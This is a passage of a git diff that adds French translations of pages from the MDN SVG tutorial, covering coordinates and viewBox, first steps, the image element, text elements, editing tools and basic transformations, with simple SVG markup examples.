+<p>Par défaut, l'unité utilisateur correspond à l'unité de l'écran. Pour modifier ce comportement de manière explicite, il existe plusieurs méthodes en SVG. Commençons par l'élément racine <code>svg</code> :</p>
+
+<pre>&lt;svg width="100" height="100"&gt;
+</pre>
+
+<p>La déclaration suivante crée un élément SVG d'une taille de 100px par 100px. Ici, une unité utilisateur correspond à l'unité de l'écran.</p>
+
+<pre>&lt;svg width="200" height="200" <strong>viewBox="0 0 100 100"</strong>&gt;
+</pre>
+
+<p>L'image SVG suivante fait 200px par 200px. Toutefois, l'attribut <code>viewBox</code> définit que cet élément de 200 par 200 commence au point (0,0) et s'étend sur une grille de 100 unités sur 100 unités vers la droite et vers le bas de l'écran. 100 unités représentant 200 pixels, chaque unité vaut deux pixels : cela permet de doubler la taille de l'image.</p>
+
+<p>La transformation des coordonnées réelles de l'écran en coordonnées personnalisées à l'aide d'un viewport permet de créer un <strong>système de coordonnées utilisateur</strong>. Celui-ci pourra pivoter, être zoomé, rendu oblique ou encore permettra de retourner une image. Par défaut, le système de coordonnées de l'utilisateur fait correspondre un pixel utilisateur à un pixel écran.</p>
+
+<p>Cependant, le périphérique peut décider lui-même ce qui correspond à un pixel.</p>
+
+<p>Les tailles dans le fichier SVG ayant des unités spécifiques, tels que les "in" et les "cm", sont ensuite calculées de manière à les faire apparaître avec une échelle de 1:1 dans l'image résultante.</p>
+
+<p>Pour illustrer cette explication, rien de tel qu'une petite citation tirée des spécifications SVG 1.1 :</p>
+
+<blockquote>
+<p>[…] imaginons que le user agent peut déterminer à partir de son environnement que "1px" correspond à "0.2822222mm" (c'est-à-dire 90dpi). Ainsi, pour le traitement de chaque élément SVG : […] "1cm" équivaut à "35.43307px" (et donc à 35.43307 unités utilisateur)</p>
+</blockquote>
+
+<p>{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial/Positions"} ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/premiers_pas/index.html b/files/fr/web/svg/tutoriel/premiers_pas/index.html
new file mode 100644
index 0000000000..83dee73b6c
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/premiers_pas/index.html
@@ -0,0 +1,98 @@
+---
+title: Premiers pas
+slug: Web/SVG/Tutoriel/Premiers_pas
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}</p>
+
+<h3 id="Commençons_par_un_exemple_simple">Commençons par un exemple simple</h3>
+
+<p>Jetez un coup d'oeil au morceau de code suivant :</p>
+
+<pre class="alt">&lt;svg version="1.1"
+     baseProfile="full"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect width="100%" height="100%" fill="red"/&gt;
+
+  &lt;circle cx="150" cy="100" r="80" fill="green"/&gt;
+
+  &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>Copiez le code précédent dans un document texte, puis enregistrez le sous le nom de <em>demo1.svg</em>. Ouvrez le fichier dans Firefox. Vous obtiendrez alors l'image suivante (pour les utilisateurs de Firefox : cliquez <a class="external" href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml" title="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">ici</a>)</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>Quelques explications s'imposent quant au fonctionnement du rendu :</p>
+
+<ol>
+ <li>Nous commençons avec l'élément <code>svg </code>à la racine : <a href="/en/SVG/Namespaces_Crash_Course" title="en/SVG/Namespaces_Crash_Course"> </a><a href="/en/SVG/Namespaces_Crash_Course" title="en/SVG/Namespaces_Crash_Course"> </a>
+
+  <ul>
+   <li>la déclaration du doctype que l'on voit en (X)HTML peut être enlevée car la DTD du SVG provoque plus de problèmes qu'elle n'en résout.</li>
+   <li>pour identifier la version du SVG pour d'autre types de validation, les attributs <code>version</code> et <code>baseProfile</code> doivent toujours être utilisés.</li>
+   <li>en tant que langage basé sur XML, l'espace de nommage du document SVG doit toujours utiliser des limites définies, d'où l'attribut <code>xmlns</code>. Pour plus d'informations, n'hésitez pas à consulter la page <a href="/en/SVG/Namespaces_Crash_Course" title="en/SVG/Namespaces_Crash_Course">Namespaces Crash Courses.</a></li>
+  </ul>
+ </li>
+ <li>L'arrière-plan est défini par un rectangle rouge, déclaré grâce à la balise &lt;rect/&gt; qui recouvre l'intégralité de l'espace.</li>
+ <li>Un cercle vert d'un rayon de 80px est dessiné par dessus le centre du rectangle rouge, avec un décalage de 30+120px vers l'intérieur et de 50+50px vers le haut.</li>
+ <li>Le texte "SVG" est dessiné. L'intérieur de chaque lettre est rempli de blanc. Le texte est positionné grâce à une ancre placée là où nous souhaitons qu'elle soit. Dans le cas présent, le centre du texte doit correspondre au milieu du rectangle rouge. De petits ajustements peuvent être apportés à la taille de la police et au positionnement vertical, de manière à assurer un résultat final esthétiquement agréable.</li>
+</ol>
+
+<h3 id="Les_propriétés_basiques_des_fichiers_SVG">Les propriétés basiques des fichiers SVG</h3>
+
+<ul>
+ <li>La première chose à retenir est l'ordre de rendu des éléments. La règle qui prévaut pour le SVG est que les éléments déclarés les plus récemment sont ceux qui seront affichés en avant des autres. En gros, l'élément défini en bas du document sera celui qui s'affichera au dessus de tous les autres.</li>
+ <li>Les documents SVG peuvent être affichés directement dans un navigateur ou même être incorporés directement dans un fichier HTML, en suivant plusieurs méthodes :
+  <ul>
+   <li>Si le HTML est du XHTML et est distribué sous forme de <code>application/xhtml+xml</code>, le SVG peut directement être intégré dans la source XML.</li>
+   <li>SI le HTML est du HTML5 et que le navigateur est conforme HTML5, le SVG peut aussi être intégré directement dans les sources. Toutefois, il peut être nécessaire d'effectuer des modifications de syntaxe pour rendre le document compatible aux spécifications HTML5.</li>
+   <li>Le document SVG peut être défini avec un élément <code>object</code> :
+    <pre>&lt;object data="image.svg" type="image/svg+xml" /&gt;</pre>
+   </li>
+   <li>De la même manière, un <code>iframe</code> peut être utilisé :
+    <pre>&lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</pre>
+   </li>
+   <li>Théoriquement, une balise <code>img</code> peut également être utilisée. Cependant, cette méthode n'est supportée dans Firefox que depuis la version 4.0.</li>
+   <li>Enfin, SVG peut être créé dynamiquement avec du Javascript et injecté dans le DOM HTML. <span id="result_box" lang="fr"><span class="hps">Ceci permet aux</span><span class="hps"> technologies</span> <span class="hps">de remplacement</span> <span class="hps">pour les navigateurs</span><span>, qui</span> <span class="hps">ne peuvent pas traiter</span> <span class="hps">SVG</span><span>, d'être</span> <span class="hps">mises en œuvre</span><span>.</span></span> Pour approfondir cette technique, vous pouvez lire <a href="/en/SVG_In_HTML_Introduction" title="SVG In HTML Introduction">cette page</a>.</li>
+  </ul>
+ </li>
+ <li>La manière dont SVG gère les tailles et les unités sera traitée à <a href="/fr/SVG/Tutoriel/Positionnement" title="fr/SVG/Tutoriel/Positionnement">la page suivante</a>.</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Un_mots_sur_les_serveurs_Web" name="Un_mots_sur_les_serveurs_Web">Les types de fichiers SVG</h3>
+
+<p>Les documents SVG peuvent être déclarés de deux manières. Normalement, les fichiers SVG sont des fichiers textes traditionnels, contenant des balises SVG. Il est recommandé de nommer ces fichiers avec l'extension ".svg" (tout en minuscules).</p>
+
+<p>Les fichiers SVG peuvent atteindre une taille assez importante, suivant l'utilisation qu'on en fait. Une application géographique utilisera ainsi des fichiers SVG plus volumineux, par exemple. Pour ces cas particuliers, la spécification SVG permet l'utilisation de fichiers compressés avec gzip. Il est conseillé d'utiliser l'extension .svgz (toujours tout en minuscules) pour ce type de fichiers. Par contre, il est assez problématique d'utiliser des fichiers SVG compressés avec gzip avec certains user agents quand les fichiers sont distribués à travers un serveur Microsoft IIS. De plus, Firefox ne peut pas charger les fichiers compressés en local. Évitez donc d'utiliser les fichiers compressés, sauf si vous êtes sûr que le serveur Web que vous utilisez puisse les distribuer correctement (cf plus bas).</p>
+
+<h3 id="Un_mots_sur_les_serveurs_Web" name="Un_mots_sur_les_serveurs_Web">Un mot sur les serveurs Web</h3>
+
+<p>Maintenant que vous avez une petite idée de la manière de créer des fichiers SVG basiques, la prochaine étape est de les envoyer sur un serveur Web. À ce stade, il existe quelques précautions à suivre. Pour les fichiers SVG normaux, les serveurs devraient envoyer l'en-tête HTTP :</p>
+
+<pre class="eval">Content-Type: image/svg+xml
+</pre>
+
+<p>Pour les fichiers SVG compressés, les serveurs devraient envoyer l'en-tête HTTP :</p>
+
+<pre class="eval">Content-Type: image/svg+xml
+Content-Encoding: gzip
+</pre>
+
+<p>Vous pouvez vérifier que votre serveur envoie le bon en-tête HTTP avec vos fichiers SVG en utilisant <a href="fr/docs/Outils/Moniteur_réseau#En-t.C3.AAtes">le Moniteur Réseau</a> ou un site comme <a class="external" href="http://web-sniffer.net/">web-sniffer.net</a>. Donnez l'URL d'un de vos fichiers SVG et regardez les en-têtes HTTP de la réponse. Si vous remarquez que votre serveur n'envoie pas les en-têtes avec les valeurs ci-dessus, vous devriez contacter votre hébergeur. Si vous avez du mal à le convaincre de configurer correctement leurs serveurs pour le SVG, il y a peut-être moyen de le faire vous-même. Regardez <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Server_Configuration">la page de configuration d'un serveur</a> sur le wiki SVG pour quelques solutions simples.</p>
+
+<p>La mauvaise configuration du serveur est souvent la cause de l'échec du chargement du SVG, donc assurez-vous bien d'avoir vérifié le vôtre. Si votre serveur n'est pas configuré pour envoyer les bons en-têtes avec les fichiers SVG qu'il fournit, alors Firefox affichera le contenu du fichier comme du texte ou comme du rebut encodé, ou demandera peut-être à l'utilisateur de choisir une application pour l'ouvrir.</p>
+
+<p>{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial/Getting_Started", "ja": "ja/SVG/Tutorial/Getting_Started" } ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/svg_image_tag/index.html b/files/fr/web/svg/tutoriel/svg_image_tag/index.html
new file mode 100644
index 0000000000..8912c059d0
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/svg_image_tag/index.html
@@ -0,0 +1,36 @@
+---
+title: 'SVG: Elément image'
+slug: Web/SVG/Tutoriel/SVG_Image_Tag
+tags:
+  - Débutant
+  - SVG
+  - Tutoriel
+translation_of: Web/SVG/Tutorial/SVG_Image_Tag
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}</p>
+
+<p>L'élément SVG {{ SVGElement("image") }} permet d'afficher des images pixélisées au sein d'un objet SVG.</p>
+
+<p>Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink:href") }} sera rendue à l'intérieur d'un objet SVG.</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+&lt;svg width="5cm" height="4cm" version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"&gt;
+	&lt;image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Il faut prendre note de quelques point essentiels (donnés par les <a href="http://www.w3.org/TR/SVG/struct.html#ImageElement">spécifications W3</a>):</p>
+
+<ul>
+ <li>
+  <p>Si les attributs x ou y ne sont pas spécifiés, ils vaudront 0.</p>
+ </li>
+ <li>
+  <p>Si les attributs height ou width ne sont pas spécifiés, ils vaudront 0.</p>
+ </li>
+ <li>Si l'attribut height ou l'attribut width est initialisé à 0, cela désactivera l'affichage de l'image.</li>
+</ul>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}</p>
diff --git a/files/fr/web/svg/tutoriel/texts/index.html b/files/fr/web/svg/tutoriel/texts/index.html
new file mode 100644
index 0000000000..97871407d2
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/texts/index.html
@@ -0,0 +1,124 @@
+---
+title: Textes
+slug: Web/SVG/Tutoriel/Texts
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Texts
+---
+<div>
+<div>{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}</div>
+
+<div> </div>
+
+<p>Lorsqu'on parle de texte en SVG, on doit différencier deux choses pratiquement complètement séparées: 1. l'inclusion et l'affichage de texte dans une image, 2. les polices SVG. Un article séparé sera dédié aux polices SVG, celui-ci se concentrera uniquement sur le fait d'insérer du texte.</p>
+
+<h2 id="Les_bases">Les bases</h2>
+
+<p>Nous avons vu dans l'<a href="/fr/docs/Web/SVG/Tutoriel/Premiers_pas">exemple de l'introduction</a> que l'élément <code>text</code> peut être utilisé pour mettre du texte dans des documents SVG:</p>
+
+<pre class="brush:xml">&lt;text x="10" y="10"&gt;Hello World!&lt;/text&gt;
+</pre>
+
+<p>Les attributs <code>x</code> et <code>y</code> déterminent où le texte apparaîtra dans la fenêtre. L'attribut {{SVGAttr("text-anchor")}} spécifie l'alignement horizontal du texte (si ce point doit être le côté gauche, droit ou le centre du texte) et l'attribut {{SVGAttr("dominant-baseline")}} l'alignement vertical (si ce point est le haut, le bas ou le centre).</p>
+
+<p>De même que les formes basiques, la couleur des éléments texte peut être modifié avec l'attribut <code>fill</code> pour le remplissage ou <code>stroke</code> pour le contour. Tout deux peuvent également faire référence à un dégradé ou motif, ce qui rend la coloration de texte SVG beaucoup plus puissante que CSS 2.1.</p>
+
+<h2 id="Définir_la_police">Définir la police</h2>
+
+<p>Une partie essentielle d'un texte est la police dans laquelle il est affiché. SVG offre un ensemble d'attributs pour spécifier la police, dont beaucoup sont similaires à leurs équivalents CSS. Chacune des propriétés suivantes peut être définie en tant qu'attribut ou via une déclaration CSS: {{SVGAttr("font-family")}}, {{SVGAttr("font-style")}}, {{SVGAttr("font-weight")}}, {{SVGAttr("font-variant")}}, {{SVGAttr("font-stretch")}}, {{SVGAttr("font-size")}}, {{SVGAttr("font-size-adjust")}}, {{SVGAttr("kerning")}}, {{SVGAttr("letter-spacing")}}, {{SVGAttr("word-spacing")}} et {{SVGAttr("text-decoration")}}.</p>
+
+<h2 id="Autres_éléments_liés_au_texte">Autres éléments liés au texte</h2>
+
+<h3 id="tspan">tspan</h3>
+
+<p>Cet élément est utilisé pour baliser des sous-parties d'un texte. Il doit s'agit d'un enfant d'un élément <code>text</code> ou d'un autre élément <code>tspan</code>. Un cas typique consiste à écrire un mot d'une phrase en gras:</p>
+</div>
+
+<pre class="brush:xml">&lt;text&gt;
+  This is &lt;tspan font-weight="bold" fill="red"&gt;bold and red&lt;/tspan&gt;
+&lt;/text&gt;
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush:html">&lt;svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"&gt;
+&lt;text&gt;
+  This is &lt;tspan font-weight="bold" fill="red"&gt;bold and red&lt;/tspan&gt;
+&lt;/text&gt;
+
+&lt;style&gt;&lt;![CDATA[
+  text{
+    dominant-baseline: hanging;
+    font: 28px Verdana, Helvetica, Arial, sans-serif;
+  }
+]]&gt;&lt;/style&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 100) }}</p>
+
+<p>L'élément tspan peut prendre les attributs personnalisés suivants:</p>
+
+<p><strong>x</strong><br>
+ Définit une nouvelle coordonnées absolue pour le texte qu'il contient. Cela écrase la position par défaut du texte. Cet attribut peut également contenir une liste de nombres, qui sont appliqués un par un à chaque caractère du tspan.</p>
+
+<p><strong>dx</strong><br>
+ Définit un décalage horizontal relatif à la position par défaut du texte. Ici aussi, vous pouvez founir une liste de valeurs qui seront appliquées consécutivement à chaque caractère.</p>
+
+<p><strong>y</strong> et <strong>dy</strong> sont utilisés de la même manière mais pour le déplacement vertical.</p>
+
+<p><strong>rotate</strong><br>
+ Applique une rotation aux caractères, avec le nombre de degrés donné. Donner une liste de nombres aura pour effet d'appliquer une rotation à chaque caractère respectif, la dernière valeur sera appliquée aux caractères restants.</p>
+
+<p><strong>textLength</strong><br>
+ Un attribut quelque peu obscur qui donne la longueur calculée de la chaîne. Il est destiné au moteur de rendu pour lui permettre d'affiner la position des glyphes, lorsque la longueur de texte mesurée ne correspond pas à celle qui est indiquée.</p>
+
+<h3 id="tref">tref</h3>
+
+<p>L'élément <code>tref</code> permet de référencer un texte déjà définit, et recopie le texte à sa place. Vous devez utiliser l'attribut <code>xlink:href</code> pour définir l'élément à copier. Vous pouvez ensuite styliser le texte et modifier son apparence indépendamment de la source.</p>
+
+<pre class="brush:xml">&lt;text id="example"&gt;This is an example text.&lt;/text&gt;
+
+&lt;text&gt;
+    &lt;tref xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#example" /&gt;
+&lt;/text&gt;
+</pre>
+
+<h3 id="textPath">textPath</h3>
+
+<p>Cet élément récupère via son attribut <code>xlink:href</code> un chemin arbitraire et aligne ses caractères le long de ce chemin:</p>
+
+<pre class="brush:xml">&lt;path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" /&gt;
+&lt;text&gt;
+  &lt;textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"&gt;
+    A curve.
+  &lt;/textPath&gt;
+&lt;/text&gt;</pre>
+
+<div class="hidden">
+<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush:html">&lt;svg width="200" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+&lt;path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" /&gt;
+&lt;text&gt;
+  &lt;textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"&gt;
+    A curve.
+  &lt;/textPath&gt;
+&lt;/text&gt;
+
+&lt;style&gt;&lt;![CDATA[
+  text{
+    dominant-baseline: hanging;
+    font: 28px Verdana, Helvetica, Arial, sans-serif;
+  }
+]]&gt;&lt;/style&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 100) }}</p>
+
+<div>{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}</div>
diff --git a/files/fr/web/svg/tutoriel/tools_for_svg/index.html b/files/fr/web/svg/tutoriel/tools_for_svg/index.html
new file mode 100644
index 0000000000..f60f06c76f
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/tools_for_svg/index.html
@@ -0,0 +1,70 @@
+---
+title: Outils pour SVG
+slug: Web/SVG/Tutoriel/Tools_for_SVG
+translation_of: Web/SVG/Tutorial/Tools_for_SVG
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}</p>
+
+<p>Maintenant que nous avons vu les notions de base en SVG, nous allons nous intéresser à quelques outils qui permettent d'éditer des fichiers SVG.</p>
+
+<h3 id="Support_des_navigateurs">Support des navigateurs</h3>
+
+<p>Avec l'arrivée de IE9, on peut enfin dire que les principaux navigateurs -  Internet Explorer 9, Mozilla Firefox, Safari, Google Chrome et Opera - supportent le SVG. Sur mobile c'est aussi le cas des navigateurs basés sur Webkit (principalement iOS et Android). Et il y a en général des chances pour que les appareils plus vieux ou plus petits supportent au moins SVG Tiny.</p>
+
+<h2 id="Inkscape">Inkscape</h2>
+
+<p>URL: <a class="external" href="http://www.inkscape.org" title="http://www.inkscape.org/">www.inkscape.org</a></p>
+
+<p>L'un des outils fondamentaux pour travailler un format graphique est un logiciel de dessin performant. Inkscape permet de faire du dessin vectoriel, il est mis à jour régulièrement, et a le mérite d'être open source.</p>
+
+<p>Il utilise le SVG comme format natif, et l'étend avec des éléments et attributs définis dans un espace de nommage spécifique. On peut aussi choisir un export au format SVG standard.</p>
+
+<h2 id="Adobe_Illustrator">Adobe Illustrator</h2>
+
+<p>URL: <a class="external" href="http://www.adobe.com/products/illustrator/">www.adobe.com/products/illustrator/</a></p>
+
+<p>Avant de racheter Macromedia, Adobe était le plus ardent défenseur de SVG. C'est de cette époque que date le bon support du SVG dans Illustrator. Cependant, le code généré comporte souvent des bizarreries, qui obligent à le retraiter pour pouvoir l'utiliser en dehors d'Illustrator.</p>
+
+<h2 id="Apache_Batik">Apache Batik</h2>
+
+<p>URL: <a class="external" href="http://xmlgraphics.apache.org/batik/">xmlgraphics.apache.org/batik/</a></p>
+
+<p>Batik est un ensemble d'outils open source proposés par Apache Software Foundation. La boite à outils est codée en Java et assure un support quasi intégral de SVG 1.1, ainsi que certaines des fonctionnalités qui étaient prévues à l'origine pour SVG 1.2.</p>
+
+<p>En plus d'un outil de visualisation (Squiggle) et d'un moteur d'aplatissement des calques pour l'export en PNG, Batik propose aussi un outil de formatage du code SVG, ainsi qu'un convertisseur de typographie TrueType vers SVG.</p>
+
+<p>Utilisé avec <a class="external" href="http://xmlgraphics.apache.org/fop/">Apache FOP</a>, il permet également de transformer du SVG en PDF.</p>
+
+<h3 id="Autres_moteurs_de_rendu">Autres moteurs de rendu</h3>
+
+<p>Il existe plusieurs projets qui permettent d'exporter une image tramée à partie d'une source SVG. <a class="external" href="http://ImageMagick.org" title="http://imagemagick.org/">ImageMagick</a> est l'un des outils les plus connus de traitement des images en ligne de commande.  Wikipédia utilise la librairie de code Gnome <a class="external" href="http://library.gnome.org/devel/rsvg/" title="http://library.gnome.org/devel/rsvg/">rsvg</a> pour le rendu de ses images SVG.</p>
+
+<h2 id="Raphael_JS">Raphael JS</h2>
+
+<p>URL: <a class="external" href="http://raphaeljs.com/">raphaeljs.com</a></p>
+
+<p>Raphaël est un framework javascript, qui propose une couche d'abstraction pour les différentes implémentations des navigateurs. Les vieilles versions d'Internet Explorer sont supportées grace à la génération de code VML, un langage de balisage vectoriel, qui est l'un des ancêtres de SVG et existe depuis IE 5.5.</p>
+
+<h2 id="Snap.svg">Snap.svg</h2>
+
+<p>URL: <a href="http://snapsvg.io/">snapsvg.io</a></p>
+
+<p>Une nouvelle couche d'abstraction JavaScript, plus récent, du même auteur que Raphael JS. Snap.svg est conçu pour les navigateurs modernes et prend donc en charge les dernières fonctionnalités SVG telles que la masquage, le découpage, les motifs, gradients et groupes. Il ne supporte pas les anciens navigateurs, contrairement à Raphael.</p>
+
+<h2 id="Google_Docs">Google Docs</h2>
+
+<p>URL: <a class="external" href="http://www.google.com/google-d-s/drawings/">www.google.com/google-d-s/drawings/</a></p>
+
+<p>Les dessins réalisés dans Google Docs peuvent être exportés en SVG.</p>
+
+<h2 id="Science">Science</h2>
+
+<p>Les fameux outils d'analyse de données xfig and gnuplot supportent l'export en SVG. Pour le rendu de graphiques sur le web <a class="external" href="http://jsxgraph.uni-bayreuth.de/wp/" title="http://jsxgraph.uni-bayreuth.de/wp/">JSXGraph</a> supporte VML, SVG et canvas, proposant automatiquement l'un ou l'autre en fonction du support des navigateurs.</p>
+
+<p>SVG est souvent utilisé dans les applications GIS (Geographic Information System) à la fois comme format de stockage et de rendu. Cf <a class="external" href="http://carto.net">carto.net</a> pour davantage de détails.</p>
+
+<h2 id="Autres_outils">Autres outils</h2>
+
+<p>Le W3C propose une <a class="external" href="http://www.w3.org/Graphics/SVG/WG/wiki/Implementations">liste des programmes</a> qui supportent le SVG.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}</p>
diff --git a/files/fr/web/svg/tutoriel/transformations_de_base/index.html b/files/fr/web/svg/tutoriel/transformations_de_base/index.html
new file mode 100644
index 0000000000..2015cab83c
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/transformations_de_base/index.html
@@ -0,0 +1,113 @@
+---
+title: Transformations de base
+slug: Web/SVG/Tutoriel/Transformations_de_base
+tags:
+  - Intermediate
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Basic_Transformations
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}</p>
+
+<p>Maintenant, nous sommes prêts à tordre nos images dans tous les sens. Mais avant toute chose, il faut vous présenter l'élément <code>&lt;g&gt;</code>. Cet assistant va vous permettre d'assigner des attributs à un ensemble d'éléments. En fait, c'est bien son seul rôle. Par exemple :</p>
+
+<div id="two_blocks">
+<pre class="brush: html">&lt;svg width="30" height="10"&gt;
+    &lt;g fill="red"&gt;
+        &lt;rect x="0" y="0" width="10" height="10" /&gt;
+        &lt;rect x="20" y="0" width="10" height="10" /&gt;
+    &lt;/g&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('two_blocks', '30', '10') }}</p>
+
+<p><span id="result_box" lang="fr"><span class="hps">Toutes les transformations</span> <span class="hps">suivantes</span> <span class="hps">sont résumées</span> <span class="hps">dans l'attribut</span> <code><span class="hps">transform</span></code> <span class="hps">de l'élément</span><span>.</span> <span class="hps">Les transformations peuvent</span> <span class="hps">être mises les unes à la suite des autres,</span> <span class="hps">tout simplement</span> <span class="hps">en les écrivant toutes dans cet attribut</span><span>,</span> <span class="hps">séparées par des espaces</span><span>.</span></span></p>
+
+<h2 id="Translation"><span lang="fr"><span>Translation</span></span></h2>
+
+<p>Il peut être nécessaire de décaler un élément, même s'il est possible de définir sa position dans ses attributs. Pour ce faire, la fonction <code>translate()</code> est parfaite.</p>
+
+<pre class="brush: html">&lt;svg width="40" height="50" style="background-color:#bff;"&gt;
+    &lt;rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Cet exemple a pour résultat un rectangle, qui est déplacé du point (0,0) au point (30,40).</p>
+
+<p>{{ EmbedLiveSample('Translation', '40', '50') }}</p>
+
+<p>Si la deuxième valeur de <code>translate()</code> n'est pas définie, elle sera pas défaut assignée à 0.</p>
+
+<h2 id="Rotation">Rotation</h2>
+
+<p>Appliquer une rotation à un élément est assez simple : il suffit d'utiliser la fonction <code>rotate()</code>.</p>
+
+<pre class="brush: html">&lt;svg width="31" height="31"&gt;
+    &lt;rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Cet exemple montre un carré pivoté de 45°. La valeur de la rotation doit être définie en degrés.</p>
+
+<p>{{ EmbedLiveSample('Rotation', '31', '31') }}</p>
+
+<h2 id="Transformations_multiples">Transformations multiples</h2>
+
+<p>Les transformations peuvent être concaténées, séparées par des espaces. Par exemple, <code>translate()</code> et <code>rotate()</code> sont couramment utilisées ensemble:</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>40<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span><span class="hexcode token">#bff</span><span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>rect</span> <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">transform</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>translate(30,40) rotate(45)<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>{{ EmbedLiveSample('Transformations_multiples', '40', '50') }}</p>
+
+<p>Cet exemple montre un carré déplacé et pivoté de 45 degrés.</p>
+
+<h2 id="Déformation">Déformation</h2>
+
+<p>Pour transformer un rectangle en un losange, vous pouvez utiliser les fonctions <code>skewX()</code> et <code>skewY()</code>. Chacun prend pour attribut un angle qui détermine le biais de l'élément transformé.</p>
+
+<h2 id="Agrandissement_et_réduction">Agrandissement et réduction</h2>
+
+<p><code>scale()</code> modifie la taille d'un élément. Cette fonction prend en paramètre 2 valeurs de transformation, la première pour celle des X et la deuxième pour celle des Y. Ces valeurs sont écrites sous forme de ratio : 0.5 correspond à une réduction à 50%, 1.5 à une augmentation de 50%. Attention, c'est le système de chiffre anglo-saxon qui est ici utilisé, il faut donc déclarer un nombre réel en utilisant un point et non une virgule. <em>Si la deuxième valeur n'est pas déclarée, elle est considérée par défaut comme égale à la première.</em></p>
+
